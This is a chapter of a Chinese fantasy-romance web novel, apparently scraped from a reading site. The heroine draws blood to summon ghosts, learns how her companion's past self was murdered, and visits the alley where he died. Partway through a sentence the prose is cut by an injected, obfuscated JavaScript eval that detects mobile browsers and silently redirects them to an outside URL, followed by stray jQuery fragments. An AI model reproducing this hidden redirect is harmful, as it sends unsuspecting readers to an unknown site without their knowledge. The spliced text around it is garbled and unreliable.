15. 满江红

作品:《前夫他是假煞星

    或许醉倒,或许睡去。


    这漫长一夜如何度过,路明知记不清了。


    清晨醒来时,她没有在步择清怀里,而昨夜顺风,船行加快,踱至船头,已能见沽宁的白墙黛瓦。


    终究是到了。


    沽宁城,终究是到了。


    两人都没提昨夜的事,就当是真的醉了一场。


    但气氛还是发生了隐秘的变化。


    无亲无友远远缀在后头,脑袋抵着脑袋,说悄悄话。


    “你觉不觉得,今日公子没那么事儿了?”


    “路姑娘也不大对劲,从前她可喜欢凑热闹,刚刚有人表演杂耍,她一眼没有瞧。”


    “我觉得在船上时候,公子肯定把路姑娘惹不高兴了。”


    “我想起来了,每日清晨都听见他俩吵架,像是争什么床……”


    等到入客栈,两人更加确信自己的猜测。


    进的第一家客栈仅剩两间空房,按照船上房间分配,他们凑一间,公子和姑娘凑一间,刚刚好。


    步择清却转头说:“房间不够了,你们两个出去另寻地方住。”


    无亲:“?”


    无友:“。”


    有情况!必有情况!


    两个房间相邻,仔细听,不难捕捉旁边的动静。


    整整一天,除去小厮送餐,两扇房门都没有打开过。


    平静,也像山雨欲来。


    路明知在床上躺了一天。


    能睡就睡,睡不着就硬睡,晚间她还有事做。


    直到红日落尽,月上中天,百鬼夜行。她割破手腕,绘了个鲜血足量的召魂阵。


    近乎整座沽宁城徘徊的鬼魂尽入她屋。


    “我要问一个人的死因,”路明知流了太多血,浑身冰冷,即便裹紧被子,声音还是发颤,“那人死于二十年前,相貌与睡在我隔壁的公子极似,那人离世当日的一切我都要知道,越详细越好。”


    鬼魂中一阵攒动,走了部分二十年前尚未出世的小鬼,剩的纷纷聚去隔壁看步择清,再回来时数目又少了好些。


    留下的鬼也不见得知悉当年事,只是路明知的血太具诱惑,一时舍不得离开,想看看有无讨价还价的可能。


    半晌沉默后,终于有声音开口:“我……我见过那位公子……”


    声音怯怯的,路明知循声望去,在最角落看见一个衣冠整洁配饰华贵的姑娘。


    鬼魂的模样与其入殓时的模样相同,此女下葬时相当体面,应出身大户人家,可惜年岁太小,眉眼还没完全长开。


    其余众鬼见她知道,摇着头散开。不多时,房中仅剩路明知和那位鬼小姐。


    “姑娘怎么称呼?”鬼小姐死时比她还小个三四岁,路明知下意识把声音放软。


    “小女……荣欣。”


    沽宁首富荣家的小姐。


    路明知记起来一些,她跟这位荣小姐是前后脚死的,荣小姐在前,其后不久,她也入了冥府。


    “那日的事,能详细说说么?”


    荣欣颇有教养地轻轻颔首。


    “二十年前,我死前一共见过两个人,其中一个长相与隔壁那位公子一模一样……”


    说起当年事,她攥紧袖角,声线依然颤抖。


    “那是七月初五,无月夜,在沽宁城城南的一条傍江窄巷,我看见那位公子与另一个年轻男子在打斗。”


    “另一人长什么模样?”路明知忙问。


    极有可能,那便是为步择清种下双世蛊的人。


    荣欣却是摇头:“他头上罩着斗笠,我看不见他的脸。”


    “但我觉得……”她陷进回忆,“两人起初像是都没想伤对方,斗笠男子剑没出鞘,您问的那位公子手里则只拎了串糖葫芦……”


    “糖葫芦?”


    路明知头又疼了一瞬,像初见面那夜,她轻咬步择清指尖时那么疼。


    “是,”荣欣细眉浅蹙,攀着记忆藤蔓又追寻到什么,然后说,“我记起来了。那位公子姓顾,叫……诗、年……对,就是顾诗年顾公子,那串糖葫芦应是买给她妻子的,他和他的妻子感情非常好,两人在当时的沽宁城很出名,他的妻子也很美……但具体多美,我不太记得了。”


    荣欣说着,眉头蹙得更深,像在疑惑那样美好的一个人,她为何会不记得了。


    听到步择清前世有妻子,路明知微怔,但很快她又摒弃乱七八糟的念头,只是疑惑:她生时也住城南傍江一带,既是很出名的两个人,她为何也没印象?


    想不出所以然,荣欣揭过这茬,接着方才的话说:“斗笠男子像是想甩开顾公子去见什么人,无奈顾公子一直阻拦,冲动之下他就拔了剑,可顾公子分毫没被吓退,反而拦得更凶,拉扯间那剑刃不小心擦过了顾公子的手臂,我从远处瞧着,只是轻飘飘一擦,不似大伤,没道理却冒出丝丝黑气。”


    黑气是双世蛊入体的表现,所以斗笠人确是那下蛊者无疑。


    可惜荣欣没有看见他的脸。


    可恨没能看见他的脸。


    路明知手指扣紧床沿。


    “但就是那样小的伤口,”荣欣还在继续说,“顾公子却倒下了。”


    荣欣面露匪夷,路明知却清楚:致命的不是伤口,而是淬于剑刃的双世蛊。


    “顾公子死前应是说了些什么,我站得太远没有听清,但我看见了他说话时的动作。”荣欣说着,比划给路明知看。


    看清那手势,路明知眉心跳了跳。


    那是个施咒手势,顾诗年死前,给自己和害死他的斗笠人施下了同命咒。


    同命咒衔接两个个体,施咒者为主体,被此咒捆绑者为客体。


    主体生则客体生,主体死则客体死,若客体先死,同命咒自然解开,主体依然无恙。


    也难怪步择清能活到这么大,没被斗笠人追着斩草除根。


    “好,我知道了。”


    荣欣很瘦,路明知说完,又问:“血够么?”


    绘召魂阵的血已被吸食尽了,荣欣点头:“够的。”


    路明知道:“多谢你告知。”


    荣欣摇头:“姑娘,其实我也有一事相求。”


    “当年斗笠人在误杀顾公子后,似受了什么刺激,整个人疯魔了一样,又在顾公子尸体上狠狠刺了许多剑,顾公子流了好多好多血,我第一次见到有人能流那么多的血,顺着石板路一直蜿蜒入江,附近江水都染上了红色……”


    “我原本想逃,可惜运气不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876630|158910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好,身边恰巧经过一只野猫,暴露了行迹,就也被他杀了。那日偏偏有山匪进城,官府不作为,顾公子和我的死都被算在了山匪头上,草草结案。”


    “真凶逍遥法外,我心有执念,无法投胎,还求姑娘……”她说着,朝路明知深深揖了一礼,“帮我翻了当年案子,送我入轮回,我愿以残魂相报,今后姑娘如有吩咐,我必无二话。”


    河水日日东流,日子页页翻篇,人都在往前走,荣欣却始终留在死去的那日,释怀不能。


    路明知亦感凄然,自是答应。


    路明知失血太多,在荣欣走后就昏睡过去,噩梦连连,睡意断续支撑到四更天,终难再续,冷汗淋漓睁眼时,脑海中步择清浑身是血横死窄巷的画面依然未散。


    尸骨冷透,满江泛红。


    她忽然,很想去那里看看。


    不想惊动步择清,她推门的动作很轻,左右看过才静悄悄迈步而出,一转身就撞上同样轻手轻脚的步择清。


    路明知:“。”


    步择清:“。”


    同样是做贼,谁心虚谁就输了。


    路明知很快挺直肩背,相当自然:“我出去赏赏夜景。”


    步择清难得没缠着要跟,十分成熟地说:“祝你赏得开心,我去吃点宵夜。”


    路明知矜持颔首:“也祝你吃得开心。”


    两人并肩下楼,出了客栈俱向北行,行到第一个分叉口,一左一右分别拐上东、西两条小道。


    分别时,路明知叮嘱他:“夜里不太平,你要注意安全,尽早回家。”


    “回家?”


    “我是说……回客栈。”路明知不知怎么就顺口说错了话。


    步择清只点点头,似真饿了,走得很着急。


    路明知向西,行到最近的岔口,又转头朝南返回去。


    二十年过去,沽宁有了些变化,但条条道路犹如深邃印刻的经纬,依然如昨。


    路明知很快摸到荣欣口中窄巷。


    初春时节,石板缝隙夹生青绿,不似梦中淋漓血红。


    路明知在其间踱了两个来回,直到横亘胸口的浊气缓慢释去,也没窥见任何不同。


    二十年雨打风吹去,这块埋葬了步择清前世的土地,与其他任何地方都没有什么不同。


    她蹲下,指腹抚过冰冷青石,却觉得腥热。


    这条窄巷距离路明知旧居很近,她对生活二十年的故地感情不算深,只是会时常记起。


    在一些怔忡的时刻,掠影一样的记起。


    但回都回了,总该去看看,待到再转生,怕是掠影也没了。


    去旧居的路上,路明知轻轻地想:不知顾诗年拼死阻拦斗笠人,是为防着他见谁?会是他那位美丽的妻子么?恩爱夫妻落得此境,想想真令人唏嘘,也不知他那位妻子现在如何了……


    沽宁城每年初春都会起风沙,草木摇晃,灯笼明灭。


    前方不知谁家灯笼灭了,视野陡然一暗,路明知从思绪中抬眸。


    啊,原是她家,她原来的家。


    正觉好笑,眼前又有了点变化,眨一眨眼,步择清同样藏匿心事的脸出现在月光下。


    路明知:“。”


    步择清:“。”